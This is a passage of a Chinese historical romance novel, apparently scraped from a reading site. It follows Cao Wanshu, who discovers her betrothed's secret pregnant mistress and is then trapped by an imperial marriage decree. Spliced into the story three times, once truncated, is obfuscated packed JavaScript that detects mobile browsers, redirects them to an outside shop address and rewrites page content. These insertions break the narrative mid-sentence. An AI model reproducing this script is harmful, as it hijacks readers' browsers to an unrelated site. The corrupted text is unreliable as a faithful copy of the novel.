“二哥,你什么时候回来的?也不提前说一声。”安蕊走进屋,看见他这幅模样有些疑惑,“怎么坐在地上?” 走近了一看,地上有大片鲜红血迹,母亲安详的闭上双眼躺在床上,安蕊才反应过来。 还没等她哭出来,安亭蕴喉头一甜,“噗”地喷出一口鲜血,溅在床帏之上。 安蕊见此情形,登时吓得魂飞魄散,连忙上前去,哭喊道:“二哥,你怎么了?” 但见安亭蕴身子一歪,昏死过去,外头仆人听到屋里动静,也慌忙上前来掐他人中,一时乱作一团。 这话暂且按下。再说鲁国公府里,柳姨娘这几日正没好气。 她在屋子里走来走去,絮絮叨叨发着牢骚:“我本来还以为安亭蕴是个知恩图报的,谁知他转头就要跟清平县主定亲。这山望着那山高,真真是个没良心的东西。” 曹晚书坐在窗下,手里拿着一把小小银剪,专心修剪着花盆里那株红梅。 听了这话,忍不住插嘴道:“二表哥毕竟是探花出身,相貌又好,自然有许多人争着抢他做女婿。这也是常情。” 柳姨娘叹了一口长长的气:“唉,话是这么说。可那冯准,哪里比得上安亭蕴的官阶?你瞧他那样儿,轻狂浮躁的,能有什么大出息?况且宋夫人素来不喜我,他的亲侄子,将来若对你不好,可怎么好?” 曹晚书手下不停,道:“难道女人这一辈子,就非得嫁人不可?便是市井人家的女儿,还能自己开铺子做生意呢。就算我要嫁人,爹爹和母亲不管我,也还有祖母给我拿主意。” 柳姨娘急道:“他们找的那些,都是穷酸举子,熬到什么时候才能出头。再说了,你是什么身份?国公府的五姑娘!若出去开铺子做生意,还不得把你爹活活气死?” 曹晚书不以为然,仍低头修剪那株红梅:“您当初还说二表哥是穷酸举子呢,可人家如今深得官家器重,可见人不可貌相。” 被她这么一说,柳姨娘倒无言可对。只是心里仍不自在,暗道:天下举子虽多,可能像安亭蕴这样的,又有几个? 这本正说着,冷元子提着一只竹篮,掀帘子进来,笑道:“姑娘,这是冯公子刚托人偷偷送过来的。”说着,把竹篮放在曹晚书面前。 柳姨娘好奇,凑过来道:“快打开瞧瞧,里头是什么?” 曹晚书掀开篮上盖的布,只见里头一封信,还有好些金银首饰,珠光宝气的,晃得人眼睛疼。 她取出信展开细看。前头写的是那日在侯府后园,唐突了姑娘,深自愧悔,请姑娘原宥则个。 到了信的后面,便写了许多肺腑之言,什么若蒙不弃,定当终身不负,日后绝不纳妾,诸如此类的话。 柳姨娘在一旁觑着,见女儿脸色淡淡的,便问道:“他信上说什么?” 曹晚书没有答言,只管往下看。 看完了,默默想了一回,将信凑到蜡烛上点着了,眼看着它烧成灰烬,才道:“冷元子,我记得你哥哥是住在外头的。可能劳烦你哥哥,替我暗暗访一访这个冯准?看他究竟为人如何,家里头清不清净,有没有外室什么的。只要访得真切,我自不会亏待了你哥哥。” 冷元子忙道:“姑娘放心,我这便回家告诉哥哥去。” 一旁的书案上,曹轼正捧着书,却支着耳朵听她们说话。此时忍不住问:“姐姐,要是被母亲知道了,可怎么好?” 曹晚书走过去,伸手摸了摸他的脑袋,温言道:“你只管好好做你的功课。你不说,我不说,母亲怎么会知道?便是知道了,我们也不过是想多了解冯家一些,这本就没什么错。你想想四姐姐,当初糊里糊涂嫁到李家去,落得个什么下场?你就明白了。” 曹轼想了想,点点头,又低头看书去了。 崇政殿。 “官家,这是安大人递上来的辞呈。” 皇帝正忙着手中的事物,抬眸瞟了一眼那内侍,淡淡说了句:“念给朕听。” 内侍展开辞呈,开始念道:“今臣母仙逝,蕴蒙慈母含辛茹苦,鞠育训诲,方得立世。今慈闱倾颓,当庐墓尽哀,追思罔极之恩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282726|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴幸列朝班,沐陛下殊恩,然丁忧之礼,孝之大义所在,岂敢违背。故恳请陛下许臣暂辞职务,归梓守制三载,庶几全孝悌之节,亦昭陛下崇孝之盛德也。待服阕之期,蕴必驰驱赴阙,矢志殚精竭虑,续效涓埃之力,酬陛下浩荡洪恩。蕴不胜哀伤恳切之至,谨拜表以闻,伏望陛下矜悯愚诚,俯允所请。兴化知州兼总督河务臣安亭蕴叩呈。” 今上听后,皱了皱眉头,一把抢过内侍手中的劄子,看了一眼后便叹了口气:“唉,他刚解决了一个朕的心头大患,本欲擢为谏议大夫,谁料…” 内侍也叹了叹气,语气沉重的说着:“听闻,安大人日夜守在亡母坟前,不吃不喝,哭晕过去好多次。别人劝也劝不了,拉也拉不住,甚至下着大雨时,他也依然守在坟前。那日安大人回去,本是有意去鲁国公府提亲的,谁料到忽然发生这样的事情。如此一来,想要再去曹家提亲,也得等到二十七个月后了。” “鲁国公府…,曹家?是最近传的沸沸扬扬新婚之夜吓跑夫君的曹家四姑娘吗?”今上眉头皱皱,有些大惊失色。 “当然不是那位曹四姑娘,好像是要定下曹五姑娘。” 听到这里,今上忍不住笑出了声:“朕那位七叔父,还一心想把自己的女儿清平县主许给安楚尧呢,看来楚尧的心里是装着曹五姑娘的。这下他解官丁忧二十七个月,朕的七叔公怕是等不急要把女儿嫁给别人了,果然人算不如天算呐。” 再表陶然轩中。 宋夫人独坐窗前,手持一柄团扇,有一搭没一搭地扇着。 眼睛盯着站在下首的侄子冯准,看了好一会儿,才开口问:“你可是真心要与晚书定亲?” 冯准忙道:“自然是真心。” 宋夫人道:“那你见了她,心里是个什么光景?” 冯准想了想,红着脸忸怩道:“我一看见她,就觉着脸红心跳,一颗心扑腾扑腾的,快要从腔子里蹦出来。姑母,您千万替我在她跟前多说些好话,越快定下这门亲越好。眼看着我那外室肚子一天天大起来,总不能老在外头飘着,没个名分进府,我这心里也不是滋味。” 宋夫人听了,脸色微微一沉,问道:“你这些日子,没往你那个外室那边去吧?” 冯准道:“没有没有!我早和她说明白了,不成亲绝不去她那儿,免得露了马脚。” 宋夫人又问:“你外头有女人这事,都有谁知道?” 冯准道:“除了姑母您,和我自小贴身的小厮,再没第三个人知道了。” 宋夫人点点头,道:“那就好。” 她心里暗暗盘算:这事若被老太太知道了,自己少不得要挨一顿好骂。如今只能小心谨慎,把这桩事瞒得铁桶相似,万不能走漏半点风声。 她方道:“前些日子,你姑父和我也商量过了。晚丫头也到了该出嫁的年纪,挑来选去,还是觉着你们俩最相配。你回去预备预备,拣个好日子,早些来提亲罢。” 冯准一听,登时眉开眼笑,喜得合不拢嘴,连连作揖道:“多谢姑母,我这就回去准备!” 27. 幽会 曹晚书偷偷让冷元子的哥哥跟踪冯准好些日子,也没有发现什么。 他每日都是清晨去上值,待到下午再回来。即不去酒楼,也不去妓院,更别提什么小妾外室了。 冷元子的哥哥还特意打听过,这个冯准踏实上进,因为冯大人管的严厉,他屋里连个通房都是没有的。 打听到这些,曹晚书终于松了口气,这个冯准好歹不是那种放荡不堪的人。 冷元子说:“冯公子现在在陶然轩,跟夫人说话呢。” 曹晚书思虑了一会儿,叮嘱冷元子:“等他出来,你悄悄告诉他,让他来后园的假山附近找我。” “姑娘,这要是被人撞见了可怎么办?”冷元子觉得有些太冒险,如果被人撞见,孤男寡女,曹晚书肯定会被人非议的。 “我待会儿换上你的衣服,你快去吧。” 冯准正从陶然轩离开没一会儿呢,守在半路上的冷元子忽然冒出来,见四下无人,对他说道:“冯公子,我家姑娘说要见你。” “要见我?!”冯准惊喜万分,“她在哪儿?” “后园假山附近,一会儿我走在前头,你在后面跟着我走就是了。” 说完,冷元子便跑到了前面,为了不让其他人猜忌,她和冯准之间的距离约有个五十步左右。 曹晚书早已经换上丫鬟的衣服,在假山石洞里等着,幸亏这石洞足够大,刚好可以容纳两个人,还不易被发现。 冯准走进石洞里,一看到曹晚书,眼睛都不知道该看向哪里好了,紧张得说不出话。 “冯公子,我今日偷偷见你,是有话要说。” “你说。” 曹晚书安然自若道:“既然你想要娶我,那我也是有要求的,你必须得答应我三个条件,我才能放心嫁你。” 冯准目光坚定地看着她:“莫说三件,便是三十件我也依你。” 曹晚书道:“头一件,不许有外室。第二件,不许纳妾。第三件,连通房丫头也不许有。总而言之一句话,你娶了我,便只许有我一个,再不许有旁的女人。这三件你若不能依,我是断不肯嫁的。” 冯准听了这话,心里不由得打了个突。他外头原养着一个人,肚子里还怀着孩子呢,这话要是说出来,只怕立时便黄了。 他脑子转得飞快,暗想:她只说婚后不许有,却没提婚前的事。且只要去母留子,将来把孩子抱回来养,也是一样的。 想到这里,便定了神,笑道:“好,我依你。” 曹晚书见他应得爽快,心里便也放下几分,点头道:“话已说完了,你快回去罢,别叫人撞见了。” 谁知冯准反而不肯走了。他心里喜欢得什么似的,恨不得立时就把人娶回家去。他咽了口唾沫,笑道:“这个月十五,我就请家父来府上提亲。” “哦…”曹晚书低着头,推着他的身体想让他赶紧离开,“你快走吧。” “我不想走,我想再和你多呆一会儿。”冯准干脆直接坐了下来,也拉着曹晚书坐在自己身旁,“那天看见你为了你四姐姐,不惜得罪清平县主,我就已经对你有好感了。” “啊?我们说的话你真的都听见了?”曹晚书本来还想在他跟前装装样子呢,谁想到自己咄咄逼人的一面被他给撞见了。 “我就喜欢你这种不卑不亢的性格,只要你嫁给我,我会对你好一辈子。” 曹晚书内心翻了个白眼儿,才认识几天见过几面啊,他就轻松许诺要对自己好一辈子这种话。 俗话说得好,男人的嘴骗人的鬼,这只不过是他的一时新鲜感罢了。新鲜感一上头,什么承诺都能说的出来,等到新鲜感一过,便再也装不下去,原形毕露。 曹晚书是最不相信这些承诺的,只当他是在说着笑话。 十五日,艳阳高照。 冯家遣了东京城里最有名的王媒婆打头阵,冯岩亲自捧着裹了红绸的大雁,后头跟着八个挑夫,担着各色聘礼,浩浩荡荡往曹府而来。 那王媒婆身着绛紫褙子,未语先笑,敲着门道:“曹公爷在家否?老身受冯府所托,特来求一段金玉良缘。” 曹望正在书房临帖,听得外头喧嚷,忙搁下狼毫笔迎出来。但见那媒婆立在阶前,身后朱漆礼盒堆成小山,在日头下泛着油光。 “哎哟哟,冯大人。”曹望三步并作两步下了台阶,拱手道:“自去岁重阳一别,已有半载未见。今日怎的这般阵仗?” 冯岩拱手笑道:“姐夫莫怪小弟唐突。是犬子对府上五姑娘倾心已久,今日特备了些薄礼,望姐夫成全这段姻缘。”说着递过礼单,“虽比不得别人,却也备足了汴京时兴的物件。” 曹望接过红帖,见上头密密麻麻写着的都是些稀世珍宝。他眼角笑纹更深,拍着冯岩肩膀道:“贤弟这是作甚,你我本是一家人,何须这些虚礼,快请进厅里吃茶。” 二人一同走着,冯岩忽然低声道:“不瞒姐夫,准儿那孩子自打见过五姑娘一面,便茶饭不思。” 曹望闻言大笑,吩咐小厮:“把去年埋的梨花白取出来,今日我要与冯大人痛饮。” 果子端着一碗冰酪,站在门外注视了曹晚书许久,见她眉头微蹙,手里绣着花,能看出来有些心不在焉的样子。 她轻手轻脚走近,把冰酪放在她面前,道:“姑娘,用些点心罢。厨娘新熬的杏酪,拿井水镇过的。” 她端起瓷碗,冰酪上还撒着捣碎的玫瑰卤子,甜香沁人,却勾不起她半分食欲。 果子觑着她神色,担忧地问:“姑娘,真的打算就这样定下亲事了吗?” “唉,我如今还有什么可想的。” 果子自幼就跟着曹晚书,她的一举一动,一个眼神,果子都能心领神会。 “明明安大人更适合您,您心里面也是有他的。” “住口!日后就休要再提他了,他既然已经写信告知我们日后勿扰,必然是无意于我,咱们又何必对人家死缠烂打。”曹晚书拿起勺子,挖了一勺冰酪放在嘴里,“我都和冯家定亲了,以后就得想着怎么才能在冯家过好日子,站稳脚跟。” “果然人不可貌相,我是无论如何也想不通,安公子会是那种背信弃义的人。”果子叹了叹气,她总觉得冯准这个人不如安亭蕴靠谱。 她又想想,还是为自己姑娘不甘心,说道:“可是姑娘,难道真的不再争取一下了吗?安大人母亲病逝,他要为母丁忧二十七个月。清平县主已经年满十九,自是等不了这两年多的时光。” 曹晚书眸子微微闪了闪,盯着手中的绣活发呆。她当然也知道安亭蕴很好,可总不能死皮赖脸硬缠着人家。 她如今已与冯家公子私定终身,想要反悔,也不可能了。开弓没有回头箭,自己选择的路,还得硬着头皮往前走。 晚书放下手里的针线,起身走到门口,将两扇虚掩着的门给打开,徐徐的微风吹在她身上。 她抬头望着院子里的桃树,叶子也被风吹的摇摇晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289821|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。脑海里不禁浮想出一句“知不可乎骤得,托遗响于悲风。” 没一会儿,冷元子蹦蹦哒哒的小跑过来,朝着晚书说:“姑娘,夫人让您去前厅。” 说完,她又靠近了晚书,在她耳旁悄悄说:“冯公子带了许多名贵礼品来提亲,定是十分钟意您在乎您的。” “我知道了。”曹晚书应下,走到镜子面前,瞧了瞧现在的妆容并没有什么不妥,才出了院子去。 还没走到前厅,就听见里面咿咿呀呀的,似乎热闹极了。 曹晚书向冯家老爷太太行了个礼,这还是她第一次见到冯家父母。 也正是因为这一次见到,才让她恍然想起一件重要的事。来日嫁人,不光要看丈夫品行如何,也得看看公婆是否为人和善,她竟把这么重要的事给忘的一干二净。 冯家夫人朱氏一看到曹晚书,这身段,这模样,她是打心眼里的喜欢,瞧着瞧着,便失了神。 宋夫人把晚书拉到跟前去,一边摸着她热乎乎的小手,一边自豪得向朱夫人说道:“我家这小五,平日里最是乖巧可爱,全家上下最得宠的就是这丫头了,人人见了都得称赞她几句呢。” “我方才一见到五姑娘,便喜欢的不得了,恨不得明日便大摆筵席,八抬大轿娶姑娘进门呢。” 朱夫人笑得合不拢嘴,一面说,一面拉住晚书的手:“哎呀呀,真不怨我家大郎痴心,这真真是个画儿里走下来的人儿啊。” 宋氏道:“我知你是个贤德温善的人,待他日晚儿嫁入你家,我也就放心了,你总不会苛待了她去。” 屋子里的人你一搭我一搭的说着话,说着说着便到晌午了。此时宴席也已经备好,众人又移步到后院的庭院里,坐下吃了起来。 曹晚书坐在宋夫人身边,专心吃着饭菜,耳朵也没闲着,将他们说的话都给听了进去。 她总觉得冯准那个方向,有一股目光一直盯着自己瞧。晚书能感觉得到,但不敢抬头去确认,生怕四目相对,两个人会尴尬。 自从曹玉书与李植和离之后,她夜里便总是跑到晚书房里睡觉,两人常常聊一些女子之间的私房话。 “五妹妹,没想到这么快你也要嫁人了。” “是啊,时间过得可真快。” 曹晚书算了算,自己来到这个世界也已经好多年了,她似乎已经适应了这里的生活。 “四姐姐,你以后可有什么打算?”曹晚书忽然问起。 “我也不知道,走一步看一步吧,都怨我自己,稀里糊涂的嫁出去,没想到会是这个下场。” “不过是和离罢了,四姐姐也不必优心,待他日再寻一个如意郎君就是。” 曹玉书笑了笑:“我若是男子,便早早就去行军打仗了,何苦来在这里为了将来的婚事忧心。” 是啊,四姐姐若是男子,没准儿现在已经是一位骁勇善战的大将军了。 只可惜,生在这个时代,对女性约束颇多,有太多的抱负和理想都无法实现。 当女儿时,被困在这一方天地里,学规矩懂礼仪,要做一个大家闺秀。成家时,要打理府上各种事物,教养儿女伺候公婆,做个贤妻良母。 “五妹妹,你可不要再像我一样,既嫁过去,就好好过日子。冯准是母亲的亲侄子,他定不会怠慢了你去。”曹玉书贴在她肩膀上说完,撸起袖子攥紧拳头,又补充了一句:“他若真敢欺负你,我就去揍他。” 曹晚书听后,忍不住笑了。 28. 皇帝赐婚 思及此,曹晚书忽的同玉书说道:“四姐姐可否帮妹妹一个小忙?” 曹玉书并没有多想,随口答道:“你说便是。” “我想让四姐姐帮我打探打探冯家哥哥的人品。这样一来,我就算嫁过去也安心了。” 听她说来这些话,曹玉书想她定是因为自己的那段糟心婚事,让五妹妹心里头后怕了。 这个忙,曹玉书也是能帮得的,于是向曹晚书点了点头道:“五妹妹就放心吧,这事儿交给我就是了。” 曹晚书心里头感激不尽,连忙起身就要行礼:“谢过四姐姐。” 日子一天天的过去,曹晚书也为自己的婚事做着准备,令冷元子裁好布料,自己又在布料上绣些喜结连理的纹饰。 “姑娘,您别熬坏了眼睛,这些活儿就让我们几个来做吧,您就好好歇着。”冷元子已不知这样劝过了多少回。 果子忽然想起来什么,又道:“姑娘,听说官家也知晓了姑娘和冯家公子的事,还要赐婚呢。” 曹晚书心下一紧,连忙问:“你从哪里听来的?” “姑娘今日去老太太那里的时候,我听刘妈妈说的。” 话音刚落,梅子便推门而入,传道:“四姑娘来了。” 四姐姐来了,想必是托她办的事情已经有了着落。曹晚书立马放下手里的活,亲自出门去迎她。 见四姐姐心烦气躁,疾言遽色,曹晚书心里感到有些不妙。 “好妹妹,我接下来要说的话,你可莫要生气。” “姐姐尽管说便是。” 曹玉书转头看了一眼屋里的下人们,曹晚书当即明白她的意思,对那些丫鬟们说道:“我与姐姐说些体己话,你们就都退下吧。” 等人都出去,曹玉书才开口:“那日妹妹交代我的事情,我都放在心上,隔日便去了一趟冯府。这不去不知道,一去吓一跳。我与舅妈正说着话,外头就有一妇人挺着大肚子闯进来。舅妈吓了一跳,也不问缘由就让人将她轰出去。我心里头觉得奇怪,便去问她,方才知道,那挺着大肚子的妇人是冯准养在外头的外室。” 曹晚书脑子一嗡,手指不自觉的紧抓着桌沿。 其实她心里何尝没有想过这一层?只是想着冯准到底是母亲的亲侄儿,又打听得那样仔细,总不该有什么差池。谁想竟是这样! 曹玉书见她脸色不对,心下不忍,却又不得不把话说完:“舅妈私下与我说,只待那孩子生下来,便抱进府里养着。至于那外室,寻个由头打发了就是,断断不能让她污了冯家的门楣。” 曹晚书听了这话,倒慢慢回过神来。她抬起头,嘴角扯出一丝冷笑:“朱舅妈倒是打得好算盘。既要占着子嗣的便宜,又要保全自家的体面。那女子若是清白人家的女儿,冯准早该纳她为妾了,这般藏着掖着,无非是嫌她出身卑贱,上不得台面罢了。” 曹玉书急道:“事到如今,这门亲事断断不能成了!我这就去求父亲,便是拼着得罪官家,也要把这门亲退了!” “不用。”曹晚书站起身来,走了两步,道:“我自己去求他。” 主仆二人一路走着,曹晚书忽道:“果子,你说爹爹会帮我吗?” 果子愣了愣,道:“说句不该说的话。老爷是极重名利的人,依我看,悬着呢。” 曹晚书没说话,推门走了进去。 曹望正在看公文,见五丫头进来,道:“有什么事?” 曹晚书行了礼,站了一会儿,方道:“女儿有一事,想求爹爹做主。” 曹望搁下笔,抬起眼来:“说罢。” 曹晚书抬起头,望着父亲:“女儿听说,冯家哥哥在外头养了外室。那妇人,已经有了身孕。” 曹望拿起茶盏,呷了一口,慢悠悠地道:“冯家哥儿年轻不懂事,养个外室算什么。哪家的少爷公子,没个糊涂的时候?” 曹晚书咬了咬唇,道:“这是女儿的终身大事,求爹爹替女儿做主,把这门亲事退了罢。” 曹望把茶盏往桌上一顿。 “退亲?”曹望瞪着她,“你知不知道你在说什么?” 曹晚书迎着父亲的目光,道:“冯准瞒着家里养外室,还有了身孕。这样的人,女儿死也不能嫁。” “你以为你是谁?这是圣上赐婚!圣旨一下,便是板上钉钉的事。你倒好,张嘴就要退亲,你当这是小孩子过家家呢?” 曹晚书道:“正是因为圣上赐婚,才更要三思。冯准品行如此,若女儿嫁过去,日后闹出什么事来,岂不是让圣上脸上无光?到时候,曹家也跟着没脸。” 曹望一怔,倒没想到她会这么说。随即又哼了一声,道:“你少拿这些大话来堵我。冯家是文官清流,冯准是他爹亲自教养大的,能有什么大错?不过是年轻风流,养个把外室,谁家没有这样的事?你倒好,拿着当把柄,要死要活的。” 曹晚书怒道:“冯家既然来求亲,就该把话说清楚。这般瞒着藏着,骗咱们结亲,又是什么道理!” 曹望听了这话,脸色便沉了下来。他站起身来,背着手走了两步,忽然转过身来,指着曹晚书道:“冯家哪里骗你了?那外室的事,人家早就跟我们通过气,是你自己不知道罢了!” 曹晚书一愣:“爹爹早就知道?” “知道又如何。” 曹晚书脑子里嗡嗡的,一片空白。半晌才道:“爹爹早就知道,为何不告诉女儿?” 曹望被她这眼神看得有些不自在,别过脸去,道:“告诉你做什么。为了这点子事,由着你胡闹么?” 曹晚书听了这话,反倒笑了。 “原来在爹爹眼里,女儿的终身大事,不过是‘这点子事’。” 曹望听了这话,脸上便挂不住了。他一拍桌子,怒道:“放肆!你这是跟父亲说话的样子?” 曹晚书望着他,道:“爹爹既然早就知道冯准有外室,却不告诉女儿,任由女儿蒙在鼓里。说甚么疼我爱我,原来都是假惺惺装模作样!” 曹望张了张嘴,又闭上,脸色青一阵白一阵。 他咬牙切齿道:“你倒是长本事了,敢跟父亲顶嘴了!我告诉你,圣旨已下,你若敢抗旨不遵,便是死罪。你死不要紧,可别连累咱们曹家满门!” 曹晚书听了这话,脸上的冷笑便凝住了。 见她还待着不肯走,曹望便去推她,把她赶到门外去,一面走一面说:“咱们曹家是武将世家,冯家是文官清流,圣上有意撮合,不过是想借两家联姻,缓和朝堂上文武相轻的戾气。 此时退婚,说轻点是曹家不识抬举,说重点,便是藐视君威,蓄意挑拨朝纲。我忠君一生,断断不会应允,你死了这条心。”说罢,将门用力一关。 晚书被他关在门外,手在抖,腿也在抖,整个人像是被抽去了骨头,软得站不住。 果子在外头等着,见她出来,忙上前扶住她,道:“姑娘,你怎么了?” 曹晚书摇摇头,说不出话来。 她一路走回自己屋里,关上门,这才靠着门板,慢慢滑坐下来。 果子吓得要死,蹲在她跟前,道:“姑娘,您说话呀,别吓奴婢。” “果子,你说得对。爹爹是个自私自利的人,他不会帮我的。” 次日,府里便忙开了。 宋夫人笑得合不拢嘴,逢人便说,官家看重咱们曹家,这是天大的体面。 曹晚书坐在屋里,听着外头的热闹,怔怔的出神。 果子端了茶进来,见她这般模样,心里疼得慌,却不知该说什么。 这时,冷元子掀帘子进来,道:“姑娘,冯公子来了,夫人请您过去呢。” 曹晚书淡淡道:“知道了。”却没有起身的意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296028|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冷元子有些着急:“姑娘,夫人和冯公子那边等着呢,去晚了怕不好。” 曹晚书对着镜子照了照,道:“不急。我的头发有些乱了,你再替我梳一梳罢。” 陶然轩里,冯准有些坐立不安。 他一会儿站起来走到门口张望,一会儿又回来坐下,端起茶盏喝一口,又撂下,如此反复了不知多少回。 宋夫人看着他这样子,又好气又好笑:“猴儿似的,坐也坐不安生。” 冯准苦着脸道:“姑母,五妹妹怎么还不来?都等了一炷香的工夫了。她该不会是知道了那事,真生我的气,不肯嫁我了罢?” 宋夫人哼了一声:“你不是说那蹄子藏好了么?怎么又跑到玉书跟前去闹?” “她也是被逼无奈,这事不怪她。” “呸!”宋夫人一拍桌子,“不怪她,难不成怪我?我好不容易和晚丫头关系缓和了些,因为你这些破事,她心里指不定怎么怨恨我这个母亲呢!” 冯准急得团团转:“姑母快派人去催催罢!她越拖着不来,我这心里越慌,跟猫抓似的。” 邹妈妈急急跑进来,道:“夫人,宫里来人了!” 冯准和宋夫人对视一眼,这才松了一口气。 正厅里,阖府上下都跪了一地。 宫里来的天使,手捧圣旨,高声宣读。念罢,合上圣旨,笑吟吟地对曹晚书道:“曹姑娘,快接旨罢。” 曹晚书跪在地上,双手举过头顶,接过圣旨,叩首道:“臣女谢陛下隆恩。” 等宫里的人走了,宋夫人特意拉着冯准,低声道:“准儿,快去跟晚丫头好好谈谈。多说些软和话,哄哄她。” 冯准此刻却像换了个人。方才的焦躁一扫而空,脸上浮起一丝得意,撇着嘴道:“姑母多虑了。如今圣旨都下了,板上钉钉的事。我还用得着去她跟前低三下四,做伏低做小的勾当?” “咦?方才在屋里,你不是还急得猴儿似的?” 冯准嘿嘿一笑:“方才那是怕她小性儿发作,悔了这门亲。”他眼神轻佻,往正厅方向瞟了一眼,“如今嘛,有官家金口玉言压着,她敢抗旨,除非她不要命,不要曹家满门的富贵了。” 这话说得张扬,声音也不小。 曹晚书刚从正厅出来,走到廊下,这几句话便清清楚楚地飘进了耳朵里。 果子在后头跟着,气得脸都白了,低声道:“姑娘,你听听这话!他这是什么意思!” 果子还要再说,曹晚书摆了摆手,道:“回去罢。” 山东济州府。 “哥,不好了。”安蕊急急忙忙从外面跑进来。 安亭蕴还在看着手中的经文,看到自家妹妹咋咋呼呼地跑过来,心中难免有气,训斥道:“可还有半点女子的样子?” “我可都是为了你好,再晚来一会儿,你心心念念的姑娘就要被别人给抢跑了。”安蕊满脸的不服气。 安亭蕴有些疑惑,放下手里的书卷,问道:“发生甚事了?” 安蕊跑得有些急,大喘着气说:“大哥来信说,官家要给鲁国公府的小姐赐婚。” “是曹家四姑娘的婚事?” “不可能。曹四姑娘才和离没多久,多半是曹五姑娘了。” 一霎间,他猛地站起身来,浑身冷的仿佛像一块石头,呼吸也变得短促起来,那口气憋在喉咙里,上不去也下不来。 “不对,不对。”他在屋子里转来转去,又自言自语地说着,“这不可能,官家不可能给晚书赐婚。” “快去备马,我要面圣!” 安亭蕴一路打马狂奔,生生跑死了两匹上好的骏马,昼夜不停,水米未进,才堪堪赶到汴京城下。 现在他整个人像从泥塘里滚过,又被人抽了筋似的。头发散乱,沾满尘土草屑,下巴上冒着胡茬,眼睛里布满血丝。